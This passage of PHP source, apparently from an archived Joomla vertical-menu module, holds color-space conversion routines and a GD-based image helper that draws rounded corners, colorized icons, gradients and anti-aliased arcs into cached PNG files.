     * @param array $rgb RGB values: 0 => R, 1 => G, 2 => B
     *
     * @return array HSV values: 0 => H, 1 => S, 2 => V
     *
     */
    public function rgb2hsv($rgb)
    {
      // RGB values = 0 á 255
      $var_R = ($rgb[0] / 255);
      $var_G = ($rgb[1] / 255);
      $var_B = ($rgb[2] / 255);

      // Min. value of RGB
      $var_Min = min($var_R, $var_G, $var_B);

      // Max. value of RGB
      $var_Max = max($var_R, $var_G, $var_B);

      // Delta RGB value
      $del_Max = $var_Max - $var_Min;

      $V = $var_Max;

      // This is a gray, no chroma...
      if ($del_Max == 0) {
        // HSV results = 0 á 1
        $H = 0;
        $S = 0;
      } else {
        // Chromatic data...
        $S = $del_Max / $var_Max;

        $del_R = ((($var_Max - $var_R) / 6) + ($del_Max / 2)) / $del_Max;
        $del_G = ((($var_Max - $var_G) / 6) + ($del_Max / 2)) / $del_Max;
        $del_B = ((($var_Max - $var_B) / 6) + ($del_Max / 2)) / $del_Max;

        if ($var_R == $var_Max) {
          $H = $del_B - $del_G;
        } else if ($var_G == $var_Max) {
          $H = (1 / 3) + $del_R - $del_B;
        } else if ($var_B == $var_Max) {
          $H = (2 / 3) + $del_G - $del_R;
        }

        if ($H < 0) {
          $H += 1;
        }
        if ($H > 1) {
          $H -= 1;
        }
      }

      // Returns agnostic values.
      // Range will depend on the application: e.g. $H*360, $S*100,
$V*100.
      return array($H, $S, $V);
    }

    /**
     *
     * Converts RGB to HSL.
     *
     * @param array $rgb RGB values: 0 => R, 1 => G, 2 => B
     *
     * @return array HSL values: 0 => H, 1 => S, 2 => L
     *
     */
    public function rgb2hsl($rgb)
    {
      // Where RGB values = 0 á 255.
      $var_R = $rgb[0] / 255;
      $var_G = $rgb[1] / 255;
      $var_B = $rgb[2] / 255;

      // Min. value of RGB
      $var_Min = min($var_R, $var_G, $var_B);
      // Max. value of RGB
      $var_Max = max($var_R, $var_G, $var_B);
      // Delta RGB value
      $del_Max = $var_Max - $var_Min;

      $L = ($var_Max + $var_Min) / 2;

      if ($del_Max == 0) {
        // This is a gray, no chroma...
        // HSL results = 0 á 1
        $H = 0;
        $S = 0;
      } else {
        // Chromatic data...
        if ($L < 0.5) {
          $S = $del_Max / ($var_Max + $var_Min);
        } else {
          $S = $del_Max / (2 - $var_Max - $var_Min);
        }

        $del_R = ((($var_Max - $var_R) / 6) + ($del_Max / 2)) / $del_Max;
        $del_G = ((($var_Max - $var_G) / 6) + ($del_Max / 2)) / $del_Max;
        $del_B = ((($var_Max - $var_B) / 6) + ($del_Max / 2)) / $del_Max;

        if ($var_R == $var_Max) {
          $H = $del_B - $del_G;
        } else if ($var_G == $var_Max) {
          $H = (1 / 3) + $del_R - $del_B;
        } else if ($var_B == $var_Max) {
          $H = (2 / 3) + $del_G - $del_R;
        }

        if ($H < 0) {
          $H += 1;
        }
        if ($H > 1) {
          $H -= 1;
        }
      }

      return array($H, $S, $L);
    }

    /**
     *
     * Converts HSV colors to hexadecimal.
     *
     * @param array $hsv HSV values: 0 => H, 1 => S, 2 => V
     *
     * @return string Hexadecimal value with six digits, e.g., CCCCCC.
     *
     */
    public function hsv2hex($hsv)
    {
      return $this->rgb2hex($this->hsv2rgb($hsv));
    }

    /**
     *
     * Converts HSV to RGB.
     *
     * @param array $hsv HSV values: 0 => H, 1 => S, 2 => V
     *
     * @return array RGB values: 0 => R, 1 => G, 2 => B
     *
     */
    public function hsv2rgb($hsv)
    {
      $H = $hsv[0];
      $S = $hsv[1];
      $V = $hsv[2];

      // HSV values = 0 á 1
      if ($S == 0) {
        $R = $V * 255;
        $G = $V * 255;
        $B = $V * 255;
      } else {
        $var_h = $H * 6;
        // H must be < 1
        if ($var_h == 6) {
          $var_h = 0;
        }
        // Or ... $var_i = floor( $var_h )
        $var_i = floor($var_h);
        $var_1 = $V * (1 - $S);
        $var_2 = $V * (1 - $S * ($var_h - $var_i));
        $var_3 = $V * (1 - $S * (1 - ($var_h - $var_i)));

        switch ($var_i) {
          case 0:
            $var_r = $V;
            $var_g = $var_3;
            $var_b = $var_1;
            break;
          case 1:
            $var_r = $var_2;
            $var_g = $V;
            $var_b = $var_1;
            break;
          case 2:
            $var_r = $var_1;
            $var_g = $V;
            $var_b = $var_3;
            break;
          case 3:
            $var_r = $var_1;
            $var_g = $var_2;
            $var_b = $V;
            break;
          case 4:
            $var_r = $var_3;
            $var_g = $var_1;
            $var_b = $V;
            break;
          default:
            $var_r = $V;
            $var_g = $var_1;
            $var_b = $var_2;
        }

        //RGB results = 0 á 255
        $R = $var_r * 255;
        $G = $var_g * 255;
        $B = $var_b * 255;
      }

      return array($R, $G, $B);
    }

    /**
     *
     * Converts HSV colors to HSL.
     *
     * @param array $hsv HSV values: 0 => H, 1 => S, 2 => V
     *
     * @return array HSL values: 0 => H, 1 => S, 2 => L
     *
     */
    public function hsv2hsl($hsv)
    {
      return $this->rgb2hsl($this->hsv2rgb($hsv));
    }

    /**
     *
     * Converts hexadecimal colors to HSL.
     *
     * @param array $hsl HSL values: 0 => H, 1 => S, 2 => L
     *
     * @return string Hexadecimal value. Accepts values with 3 or 6
numbers,
     * with or without #, e.g., CCC, #CCC, CCCCCC or #CCCCCC.
     *
     */
    public function hsl2hex($hsl)
    {
      return $this->rgb2hex($this->hsl2rgb($hsl));
    }

    /**
     *
     * Converts HSL to RGB.
     *
     * @param array $hsv HSL values: 0 => H, 1 => S, 2 => L
     *
     * @return array RGB values: 0 => R, 1 => G, 2 => B
     *
     */
    public function hsl2rgb($hsl)
    {
      list($H, $S, $L) = $hsl;

      if ($S == 0) {
        // HSL values = 0 á 1
        // RGB results = 0 á 255
        $R = $L * 255;
        $G = $L * 255;
        $B = $L * 255;
      } else {
        if ($L < 0.5) {
          $var_2 = $L * (1 + $S);
        } else {
          $var_2 = ($L + $S) - ($S * $L);
        }

        $var_1 = 2 * $L - $var_2;

        $R = 255 * $this->_hue2rgb($var_1, $var_2, $H + (1 / 3));
        $G = 255 * $this->_hue2rgb($var_1, $var_2, $H);
        $B = 255 * $this->_hue2rgb($var_1, $var_2, $H - (1 / 3));
      }

      return array($R, $G, $B);
    }

    /**
     *
     * Support method for hsl2rgb(): converts hue ro RGB.
     *
     * @param
     *
     * @param
     *
     * @param
     *
     * @return int
     *
     */
    protected function _hue2rgb($v1, $v2, $vH)
    {
      if ($vH < 0) {
        $vH += 1;
      }

      if ($vH > 1) {
        $vH -= 1;
      }

      if ((6 * $vH) < 1) {
        return ($v1 + ($v2 - $v1) * 6 * $vH);
      }

      if ((2 * $vH) < 1) {
        return $v2;
      }

      if ((3 * $vH) < 2) {
        return ($v1 + ($v2 - $v1) * ((2 / 3) - $vH) * 6);
      }

      return $v1;
    }

    /**
     *
     * Converts hexadecimal colors to HSL.
     *
     * @param array $hsl HSL values: 0 => H, 1 => S, 2 => L
     *
     * @return array HSV values: 0 => H, 1 => S, 2 => V
     *
     */
    public function hsl2hsv($hsl)
    {
      return $this->rgb2hsv($this->hsl2rgb($hsl));
    }

    /**
     *
     * Updates HSV values.
     *
     * @param array $hsv HSV values: 0 => H, 1 => S, 2 => V
     *
     * @param array $values Values to update: 0 => value to add to H (0
to 360),
     * 1 and 2 => values to multiply S and V (0 to 100). Example:
     *
     * {{{code:php
     *     // Update saturation to 80% in the provided HSV.
     *     $hsv = array(120, 0.75, 0.75);
     *     $new_hsv = $color->updateHsv($hsv, array(null, 80, null));
     * }}}
     *
     */
    public function updateHsv($hsv, $values)
    {
      if (isset($values[0])) {
        $hsv[0] = max(0, min(360, ($hsv[0] + $values[0])));
      }

      if (isset($values[1])) {
        $hsv[1] = max(0, min(1, ($hsv[1] * ($values[1] / 100))));
      }

      if (isset($values[2])) {
        $hsv[2] = max(0, min(1, ($hsv[2] * ($values[2] / 100))));
      }

      return $hsv;
    }

    /**
     *
     * Updates HSL values.
     *
     * @param array $hsl HSL values: 0 => H, 1 => S, 2 => L
     *
     * @param array $values Values to update: 0 => value to add to H (0
to 360),
     * 1 and 2 => values to multiply S and V (0 to 100). Example:
     *
     * {{{code:php
     *     // Update saturation to 80% in the provided HSL.
     *     $hsl = array(120, 0.75, 0.75);
     *     $new_hsl = $color->updateHsl($hsl, array(null, 80, null));
     * }}}
     *
     */
    public function updateHsl($hsl, $values)
    {
      if (isset($values[0])) {
        $hsl[0] = max(0, min(1, ($hsl[0] + $values[0] / 360)));
      }

      if (isset($values[1])) {
        $hsl[1] = max(0, min(1, ($hsl[1] * ($values[1] / 100))));
      }

      if (isset($values[2])) {
        $hsl[2] = max(0, min(1, ($hsl[2] * ($values[2] / 100))));
      }

      return $hsl;
    }
  }
}
ImageHelper.php000064400000065210151160307750007450 0ustar00<?php
/**
 * mod_vertical_menu - Vertical Menu
 *
 * @author    Balint Polgarfi
 * @copyright 2014-2019 Offlajn.com All Rights Reserved
 * @license   https://gnu.org/licenses/gpl-2.0.html
 * @link      https://offlajn.com
 */

defined('_JEXEC') or die('Restricted access');

if (!class_exists('OfflajnHelper7')) {

  require_once dirname(__FILE__) . '/ColorHelper.php';

  class OfflajnHelper7
  {
    public $cache;
    public $step = 1;
    public $c;

    public function __construct($cacheDir)
    {
      $this->cache = $cacheDir;
      $this->c = new OfflajnColor();
    }

    public function generateRoundedCorner($r, $hex)
    {
      $r = $r * 2 - 4;
      $rgb = $this->rgb2array($hex);

      $imnew = imagecreatetruecolor($r * 2 + 10, $r * 2 + 10);
      imagealphablending($imnew, false);

      imagesavealpha($imnew, true);
      $transparent = imagecolorallocatealpha($imnew, 255, 255, 255, 127);
      imagefilledrectangle($imnew, 0, 0, $r * 2 + 10, $r * 2 + 10,
$transparent);

      $white = imagecolorallocate($imnew, 0, 0, 0);
      $this->imageSmoothArc($imnew, $r, $r, $r * 2, $r * 2, $white, 0,
M_PI * 2);

      for ($x = 0; $x < $r * 2 + 10; $x++) {
        for ($y = 0; $y < $r * 2 + 10; $y++) {
          $rgba = ImageColorAt($imnew, $x, $y);
          $A = ($rgba >> 24) & 0xFF;
          if ($A == 127) {
            imagesetpixel($imnew, $x, $y, imagecolorallocatealpha($imnew,
$rgb[0], $rgb[1], $rgb[2], 0));
          } else {
            imagesetpixel($imnew, $x, $y, imagecolorallocatealpha($imnew,
$rgb[0], $rgb[1], $rgb[2], -$A + 127));
          }
        }
      }
      $img = array();
      $imtl = imagecreatetruecolor($r, $r);
      imagealphablending($imtl, false);
      imagesavealpha($imtl, true);
      $transparent = imagecolorallocatealpha($imtl, 255, 255, 255, 127);
      imagefilledrectangle($imtl, 0, 0, $r, $r, $transparent);
      imagecopyresampled($imtl, $imnew, 0, 0, 0, 0, $r, $r, $r, $r);
      $img[] = $hash = md5($r . $hex) . 'tl.png';
      imagepng($imtl, $this->cache . '/' . $hash);
      imagedestroy($imtl);

      $imtr = imagecreatetruecolor($r, $r);
      imagealphablending($imtr, false);
      imagesavealpha($imtr, true);
      $transparent = imagecolorallocatealpha($imtr, 255, 255, 255, 127);
      imagefilledrectangle($imtr, 0, 0, $r, $r, $transparent);
      imagecopyresampled($imtr, $imnew, 0, 0, $r + 2, 0, $r, $r, $r, $r);
      $img[] = $hash = md5($r . $hex) . 'tr.png';
      imagepng($imtr, $this->cache . '/' . $hash);
      imagedestroy($imtr);

      $imbl = imagecreatetruecolor($r, $r);
      imagealphablending($imbl, false);
      imagesavealpha($imbl, true);
      $transparent = imagecolorallocatealpha($imbl, 255, 255, 255, 127);
      imagefilledrectangle($imbl, 0, 0, $r, $r, $transparent);
      imagecopyresampled($imbl, $imnew, 0, 0, 0, $r + 2, $r, $r, $r, $r);
      $img[] = $hash = md5($r . $hex) . 'bl.png';
      imagepng($imbl, $this->cache . '/' . $hash);
      imagedestroy($imbl);

      $imbr = imagecreatetruecolor($r, $r);
      imagealphablending($imbr, false);
      imagesavealpha($imbr, true);
      $transparent = imagecolorallocatealpha($imbr, 255, 255, 255, 127);
      imagefilledrectangle($imbr, 0, 0, $r, $r, $transparent);
      imagecopyresampled($imbr, $imnew, 0, 0, $r + 2, $r + 2, $r, $r, $r,
$r);
      $img[] = $hash = md5($r . $hex) . 'br.png';
      imagepng($imbr, $this->cache . '/' . $hash);
      imagedestroy($imbr);
      imagedestroy($imnew);
      return $img;
    }

    public function ColorizeImage($img, $hex)
    {
      $im = imagecreatefrompng($img);
      $height = imagesy($im);
      $width = imagesx($im);
      $imnew = imagecreatetruecolor($width, $height);
      imagealphablending($imnew, false);
      imagesavealpha($imnew, true);
      $transparent = imagecolorallocatealpha($imnew, 255, 255, 255, 127);
      imagefilledrectangle($imnew, 0, 0, $width, $height, $transparent);
      $rgb = $this->rgb2array($hex);
      for ($x = 0; $x < $width; $x++) {
        for ($y = 0; $y < $height; $y++) {
          $rgba = ImageColorAt($im, $x, $y);
          $R = (($rgba >> 16) & 0xFF) + $rgb[0];
          $G = (($rgba >> 8) & 0xFF) + $rgb[1];
          $B = ($rgba & 0xFF) + $rgb[2];
          $A = ($rgba >> 24) & 0xFF;
          if ($R > 255) {
            $R = 255;
          }

          if ($G > 255) {
            $G = 255;
          }

          if ($B > 255) {
            $B = 255;
          }

          imagesetpixel($imnew, $x, $y, imagecolorallocatealpha($imnew, $R,
$G, $B, $A));
        }
      }
      $hash = md5($img . $hex) . '.png';
      imagepng($imnew, $this->cache . '/' . $hash);
      imagedestroy($imnew);
      imagedestroy($im);
      return $hash;
    }

    public function NewColorizeImage($img, $targetColor, $baseColor)
    {
      if ($targetColor == '#000000') {
        $targetColor = '#000001';
      }

      $img = str_replace(JURI::root(), JPATH_BASE . '/', $img);
      if (strpos($img, JPATH_BASE) !== 0) {
        $img = JPATH_BASE . $img;
      }

      $img = preg_replace('~//+~', '/', $img);
      $targetHexArr = $this->c->hex82hex($targetColor);
      $targetColor = $targetHexArr[0];
      $alpha = $targetHexArr[1];
      $c1 = $this->c->hex2hsl($baseColor);
      $c2 = $this->c->hex2hsl($targetColor);
      $im = imagecreatefrompng($img);
      $height = imagesy($im);
      $width = imagesx($im);
      $imnew = imagecreatetruecolor($width, $height);
      imagealphablending($imnew, false);
      imagesavealpha($imnew, true);
      $transparent = imagecolorallocatealpha($imnew, 255, 255, 255, 127);
      imagefilledrectangle($imnew, 0, 0, $width, $height, $transparent);
      $rgb = $this->rgb2array($targetColor);
      for ($x = 0; $x < $width; $x++) {
        for ($y = 0; $y < $height; $y++) {
          $rgba = ImageColorAt($im, $x, $y);
          $rgb = array((($rgba >> 16) & 0xFF), (($rgba >>
8) & 0xFF), $rgba & 0xFF);

          $hsl = $this->c->rgb2hsl($rgb);
          $a[0] = $hsl[0] + ($c2[0] - $c1[0]);
          $a[1] = $hsl[1] * ($c2[1] / $c1[1]);
          if ($a[1] > 1) {
            $a[1] = 1;
          }

          $a[2] = exp(log($hsl[2]) * log($c2[2]) / log($c1[2]));
          if ($a[2] > 1) {
            $a[2] = 1;
          }

          $rgb = $this->c->hsl2rgb($a);
          $A = 0xFE - (($rgba >> 24) * 2) & 0xFF;
          $A = (int) ($A * (hexdec($alpha) / 0xFE));
          if ($A > 0xFF) {
            $A = 0xFF;
          }

          $A = (int) ((0xFE - $A) / 2);
          imagesetpixel($imnew, $x, $y, imagecolorallocatealpha($imnew,
$rgb[0], $rgb[1], $rgb[2], $A));
        }
      }
      $hash = md5($img . $targetColor . $alpha) . '.png';
      imagepng($imnew, $this->cache . '/' . $hash);
      imagedestroy($imnew);
      imagedestroy($im);
      return $hash;
    }

    public function generateAlphaColor($c)
    {
      $im = imagecreatetruecolor(1, 1);
      imagealphablending($im, false);
      imagesavealpha($im, true);
      $transparent = imagecolorallocatealpha($im, 255, 255, 255, 127);
      imagefilledrectangle($im, 0, 0, 1, 1, $transparent);
      $color = $this->c->hex2rgba($c);
      $fillcolor = imagecolorallocatealpha($im, $color[0], $color[1],
$color[2], 127 - $color[3]);
      imagefilledrectangle($im, 0, 0, 1, 1, $fillcolor);

      $hash = md5($c) . '.png';
      imagepng($im, $this->cache . '/' . $hash);
      imagedestroy($im);
      return $hash;
    }

    public function generateGradient($w, $h, $c1, $c2, $direction)
    {
      $im = imagecreatetruecolor($w, $h);
      $this->fill($im, $direction, $c1, $c2);
      $hash = md5($w . $h . $c1 . $c2 . $direction) . '.png';
      imagepng($im, $this->cache . '/' . $hash);
      imagedestroy($im);
      return $hash;
    }

    public function fill($im, $direction, $start, $end)
    {

      switch ($direction) {
        case 'horizontal':
          $line_numbers = imagesx($im);
          $line_width = imagesy($im);
          list($r1, $g1, $b1) = $this->hex2rgb($start);
          list($r2, $g2, $b2) = $this->hex2rgb($end);
          break;
        case 'vertical':
          $line_numbers = imagesy($im);
          $line_width = imagesx($im);
          list($r1, $g1, $b1) = $this->hex2rgb($start);
          list($r2, $g2, $b2) = $this->hex2rgb($end);
          break;
        case 'ellipse':
          $width = imagesx($im);
          $height = imagesy($im);
          $rh = $height > $width ? 1 : $width / $height;
          $rw = $width > $height ? 1 : $height / $width;
          $line_numbers = min($width, $height);
          $center_x = $width / 2;
          $center_y = $height / 2;
          list($r1, $g1, $b1) = $this->hex2rgb($end);
          list($r2, $g2, $b2) = $this->hex2rgb($start);
          imagefilledrectangle($im, 0, 0, $width, $height,
imagecolorallocate($im, $r1, $g1, $b1));
          break;
        case 'ellipse2':
          $width = imagesx($im);
          $height = imagesy($im);
          $rh = $height > $width ? 1 : $width / $height;
          $rw = $width > $height ? 1 : $height / $width;
          $line_numbers = sqrt(pow($width, 2) + pow($height, 2));
          $center_x = $width / 2;
          $center_y = $height / 2;
          list($r1, $g1, $b1) = $this->hex2rgb($end);
          list($r2, $g2, $b2) = $this->hex2rgb($start);
          break;
        case 'circle':
          $width = imagesx($im);
          $height = imagesy($im);
          $line_numbers = sqrt(pow($width, 2) + pow($height, 2));
          $center_x = $width / 2;
          $center_y = $height / 2;
          $rh = $rw = 1;
          list($r1, $g1, $b1) = $this->hex2rgb($end);
          list($r2, $g2, $b2) = $this->hex2rgb($start);
          break;
        case 'circle2':
          $width = imagesx($im);
          $height = imagesy($im);
          $line_numbers = min($width, $height);
          $center_x = $width / 2;
          $center_y = $height / 2;
          $rh = $rw = 1;
          list($r1, $g1, $b1) = $this->hex2rgb($end);
          list($r2, $g2, $b2) = $this->hex2rgb($start);
          imagefilledrectangle($im, 0, 0, $width, $height,
imagecolorallocate($im, $r1, $g1, $b1));
          break;
        case 'square':
        case 'rectangle':
          $width = imagesx($im);
          $height = imagesy($im);
          $line_numbers = max($width, $height) / 2;
          list($r1, $g1, $b1) = $this->hex2rgb($end);
          list($r2, $g2, $b2) = $this->hex2rgb($start);
          break;
        case 'diamond':
          list($r1, $g1, $b1) = $this->hex2rgb($end);
          list($r2, $g2, $b2) = $this->hex2rgb($start);
          $width = imagesx($im);
          $height = imagesy($im);
          $rh = $height > $width ? 1 : $width / $height;
          $rw = $width > $height ? 1 : $height / $width;
          $line_numbers = min($width, $height);
          break;
      }

      for ($i = 0; $i < $line_numbers; $i = $i + 1 + $this->step) {
        // old values :
        $old_r = isset($r) ? $r : null;
        $old_g = isset($g) ? $g : null;
        $old_b = isset($b) ? $b : null;
        // new values :
        $r = ($r2 - $r1 != 0) ? intval($r1 + ($r2 - $r1) * ($i /
$line_numbers)) : $r1;
        $g = ($g2 - $g1 != 0) ? intval($g1 + ($g2 - $g1) * ($i /
$line_numbers)) : $g1;
        $b = ($b2 - $b1 != 0) ? intval($b1 + ($b2 - $b1) * ($i /
$line_numbers)) : $b1;
        // if new values are really new ones, allocate a new color,
otherwise reuse previous color.
        // There's a "feature" in imagecolorallocate that
makes this function
        // always returns '-1' after 255 colors have been
allocated in an image that was created with
        // imagecreate (everything works fine with imagecreatetruecolor)
        if ("$old_r,$old_g,$old_b" != "$r,$g,$b") {
          $fill = imagecolorallocate($im, $r, $g, $b);
        }

        switch ($direction) {
          case 'vertical':
            imagefilledrectangle($im, 0, $i, $line_width, $i +
$this->step, $fill);
            break;
          case 'horizontal':
            imagefilledrectangle($im, $i, 0, $i + $this->step,
$line_width, $fill);
            break;
          case 'ellipse':
          case 'ellipse2':
          case 'circle':
          case 'circle2':
            imagefilledellipse($im, $center_x, $center_y, ($line_numbers -
$i) * $rh, ($line_numbers - $i) * $rw, $fill);
            break;
          case 'square':
          case 'rectangle':
            imagefilledrectangle($im, $i * $width / $height, $i * $height /
$width, $width - ($i * $width / $height), $height - ($i * $height /
$width), $fill);
            break;
          case 'diamond':
            imagefilledpolygon($im, array(
              $width / 2, $i * $rw - 0.5 * $height,
              $i * $rh - 0.5 * $width, $height / 2,
              $width / 2, 1.5 * $height - $i * $rw,
              1.5 * $width - $i * $rh, $height / 2,
            ), 4, $fill);
            break;
        }
      }
    }

    // #ff00ff -> array(255,0,255) or #f0f -> array(255,0,255)
    public function hex2rgb($color)
    {
      $color = str_replace('#', '', $color);
      $s = strlen($color) / 3;
      $rgb[] = hexdec(str_repeat(substr($color, 0, $s), 2 / $s));
      $rgb[] = hexdec(str_repeat(substr($color, $s, $s), 2 / $s));
      $rgb[] = hexdec(str_repeat(substr($color, 2 * $s, $s), 2 / $s));
      return $rgb;
    }

    /* Param: ff0000 */
    public function rgb2array($rgb)
    {
      return array(
        base_convert(substr($rgb, 0, 2), 16, 10),
        base_convert(substr($rgb, 2, 2), 16, 10),
        base_convert(substr($rgb, 4, 2), 16, 10),
      );
    }

    public function imageSmoothArcDrawSegment(&$img, $cx, $cy, $a, $b,
$aaAngleX, $aaAngleY, $color, $start, $stop, $seg)
    {
      // Originally written from scratch by Ulrich Mierendorff, 06/2006
      // Rewritten and improved, 04/2007, 07/2007

      // Please do not use THIS function directly. Scroll down to
imageSmoothArc(...).

      $fillColor = imageColorExactAlpha($img, $color[0], $color[1],
$color[2], $color[3]);

      $xStart = abs($a * cos($start));
      $yStart = abs($b * sin($start));
      $xStop = abs($a * cos($stop));
      $yStop = abs($b * sin($stop));
      $dxStart = 0;
      $dyStart = 0;
      $dxStop = 0;
      $dyStop = 0;
      if ($xStart != 0) {
        $dyStart = $yStart / $xStart;
      }

      if ($xStop != 0) {
        $dyStop = $yStop / $xStop;
      }

      if ($yStart != 0) {
        $dxStart = $xStart / $yStart;
      }

      if ($yStop != 0) {
        $dxStop = $xStop / $yStop;
      }

      if (abs($xStart) >= abs($yStart)) {
        $aaStartX = true;
      } else {
        $aaStartX = false;
      }
      if ($xStop >= $yStop) {
        $aaStopX = true;
      } else {
        $aaStopX = false;
      }
      //$xp = +1; $yp = -1; $xa = +1; $ya = 0;
      for ($x = 0; $x < $a; $x += 1) {
        /*$y = $b * sqrt( 1 - ($x*$x)/($a*$a) );

        $error = $y - (int)($y);
        $y = (int)($y);

        $diffColor = imageColorExactAlpha( $img, $color[0], $color[1],
$color[2], 127-(127-$color[3])*$error );*/

        $_y1 = $dyStop * $x;
        $_y2 = $dyStart * $x;
        if ($xStart > $xStop) {
          $error1 = $_y1 - (int) ($_y1);
          $error2 = 1 - $_y2 + (int) $_y2;
          $_y1 = $_y1 - $error1;
          $_y2 = $_y2 + $error2;
        } else {
          $error1 = 1 - $_y1 + (int) $_y1;
          $error2 = $_y2 - (int) ($_y2);
          $_y1 = $_y1 + $error1;
          $_y2 = $_y2 - $error2;
        }
        /*
        if ($aaStopX)
        $diffColor1 = imageColorExactAlpha( $img, $color[0], $color[1],
$color[2], 127-(127-$color[3])*$error1 );
        if ($aaStartX)
        $diffColor2 = imageColorExactAlpha( $img, $color[0], $color[1],
$color[2], 127-(127-$color[3])*$error2 );
         */

        if ($seg == 0 || $seg == 2) {
          $i = $seg;
          if (!($start > $i * M_PI / 2 && $x > $xStart)) {
            if ($i == 0) {
              $xp = +1;
              $yp = -1;
              $xa = +1;
              $ya = 0;
            } else {
              $xp = -1;
              $yp = +1;
              $xa = 0;
              $ya = +1;
            }
            if ($stop < ($i + 1) * (M_PI / 2) && $x <=
$xStop) {
              $diffColor1 = imageColorExactAlpha($img, $color[0],
$color[1], $color[2], 127 - (127 - $color[3]) * $error1);
              $y1 = $_y1;if ($aaStopX) {
                imageSetPixel($img, $cx + $xp * ($x) + $xa, $cy + $yp *
($y1 + 1) + $ya, $diffColor1);
              }

            } else {
              $y = $b * sqrt(1 - ($x * $x) / ($a * $a));
              $error = $y - (int) ($y);
              $y = (int) ($y);
              $diffColor = imageColorExactAlpha($img, $color[0], $color[1],
$color[2], 127 - (127 - $color[3]) * $error);
              $y1 = $y;if ($x < $aaAngleX) {
                imageSetPixel($img, $cx + $xp * $x + $xa, $cy + $yp * ($y1
+ 1) + $ya, $diffColor);
              }

            }
            if ($start > $i * M_PI / 2 && $x <= $xStart) {
              $diffColor2 = imageColorExactAlpha($img, $color[0],
$color[1], $color[2], 127 - (127 - $color[3]) * $error2);
              $y2 = $_y2;if ($aaStartX) {
                imageSetPixel($img, $cx + $xp * $x + $xa, $cy + $yp * ($y2
- 1) + $ya, $diffColor2);
              }

            } else {
              $y2 = 0;
            }
            if ($y2 <= $y1) {
              imageLine($img, $cx + $xp * $x + $xa, $cy + $yp * $y1 + $ya,
$cx + $xp * $x + $xa, $cy + $yp * $y2 + $ya, $fillColor);
            }

          }
        }

        if ($seg == 1 || $seg == 3) {
          $i = $seg;
          if (!($stop < ($i + 1) * M_PI / 2 && $x > $xStop))
{
            if ($i == 1) {
              $xp = -1;
              $yp = -1;
              $xa = 0;
              $ya = 0;
            } else {
              $xp = +1;
              $yp = +1;
              $xa = 1;
              $ya = 1;
            }
            if ($start > $i * M_PI / 2 && $x < $xStart) {
              $diffColor2 = imageColorExactAlpha($img, $color[0],
$color[1], $color[2], 127 - (127 - $color[3]) * $error2);
              $y1 = $_y2;if ($aaStartX) {
                imageSetPixel($img, $cx + $xp * $x + $xa, $cy + $yp * ($y1
+ 1) + $ya, $diffColor2);
              }

            } else {
              $y = $b * sqrt(1 - ($x * $x) / ($a * $a));
              $error = $y - (int) ($y);
              $y = (int) $y;
              $diffColor = imageColorExactAlpha($img, $color[0], $color[1],
$color[2], 127 - (127 - $color[3]) * $error);
              $y1 = $y;if ($x < $aaAngleX) {
                imageSetPixel($img, $cx + $xp * $x + $xa, $cy + $yp * ($y1
+ 1) + $ya, $diffColor);
              }

            }
            if ($stop < ($i + 1) * M_PI / 2 && $x <= $xStop)
{
              $diffColor1 = imageColorExactAlpha($img, $color[0],
$color[1], $color[2], 127 - (127 - $color[3]) * $error1);
              $y2 = $_y1;if ($aaStopX) {
                imageSetPixel($img, $cx + $xp * $x + $xa, $cy + $yp * ($y2
- 1) + $ya, $diffColor1);
              }

            } else {
              $y2 = 0;
            }
            if ($y2 <= $y1) {
              imageLine($img, $cx + $xp * $x + $xa, $cy + $yp * $y1 + $ya,
$cx + $xp * $x + $xa, $cy + $yp * $y2 + $ya, $fillColor);
            }

          }
        }
      }

      ///YYYYY

      for ($y = 0; $y < $b; $y += 1) {
        /*$x = $a * sqrt( 1 - ($y*$y)/($b*$b) );

        $error = $x - (int)($x);
        $x = (int)($x);

        $diffColor = imageColorExactAlpha( $img, $color[0], $color[1],
$color[2], 127-(127-$color[3])*$error );
         */
        $_x1 = $dxStop * $y;
        $_x2 = $dxStart * $y;
        if ($yStart > $yStop) {
          $error1 = $_x1 - (int) ($_x1);
          $error2 = 1 - $_x2 + (int) $_x2;
          $_x1 = $_x1 - $error1;
          $_x2 = $_x2 + $error2;
        } else {
          $error1 = 1 - $_x1 + (int) $_x1;
          $error2 = $_x2 - (int) ($_x2);
          $_x1 = $_x1 + $error1;
          $_x2 = $_x2 - $error2;
        }
        /*
        if (!$aaStopX)
        $diffColor1 = imageColorExactAlpha( $img, $color[0], $color[1],
$color[2], 127-(127-$color[3])*$error1 );
        if (!$aaStartX)
        $diffColor2 = imageColorExactAlpha( $img, $color[0], $color[1],
$color[2], 127-(127-$color[3])*$error2 );
         */

        if ($seg == 0 || $seg == 2) {
          $i = $seg;
          if (!($start > $i * M_PI / 2 && $y > $yStop)) {
            if ($i == 0) {
              $xp = +1;
              $yp = -1;
              $xa = 1;
              $ya = 0;
            } else {
              $xp = -1;
              $yp = +1;
              $xa = 0;
              $ya = 1;
            }
            if ($stop < ($i + 1) * (M_PI / 2) && $y <=
$yStop) {
              $diffColor1 = imageColorExactAlpha($img, $color[0],
$color[1], $color[2], 127 - (127 - $color[3]) * $error1);
              $x1 = $_x1;if (!$aaStopX) {
                imageSetPixel($img, $cx + $xp * ($x1 - 1) + $xa, $cy + $yp
* ($y) + $ya, $diffColor1);
              }

            }
            if ($start > $i * M_PI / 2 && $y < $yStart) {
              $diffColor2 = imageColorExactAlpha($img, $color[0],
$color[1], $color[2], 127 - (127 - $color[3]) * $error2);
              $x2 = $_x2;if (!$aaStartX) {
                imageSetPixel($img, $cx + $xp * ($x2 + 1) + $xa, $cy + $yp
* ($y) + $ya, $diffColor2);
              }

            } else {
              $x = $a * sqrt(1 - ($y * $y) / ($b * $b));
              $error = $x - (int) ($x);
              $x = (int) ($x);
              $diffColor = imageColorExactAlpha($img, $color[0], $color[1],
$color[2], 127 - (127 - $color[3]) * $error);
              $x1 = $x;if ($y < $aaAngleY && $y <= $yStop) {
                imageSetPixel($img, $cx + $xp * ($x1 + 1) + $xa, $cy + $yp
* $y + $ya, $diffColor);
              }

            }
          }
        }

        if ($seg == 1 || $seg == 3) {
          $i = $seg;
          if (!($stop < ($i + 1) * M_PI / 2 && $y > $yStart))
{
            if ($i == 1) {
              $xp = -1;
              $yp = -1;
              $xa = 0;
              $ya = 0;
            } else {
              $xp = +1;
              $yp = +1;
              $xa = 1;
              $ya = 1;
            }
            if ($start > $i * M_PI / 2 && $y < $yStart) {
              $diffColor2 = imageColorExactAlpha($img, $color[0],
$color[1], $color[2], 127 - (127 - $color[3]) * $error2);
              $x1 = $_x2;if (!$aaStartX) {
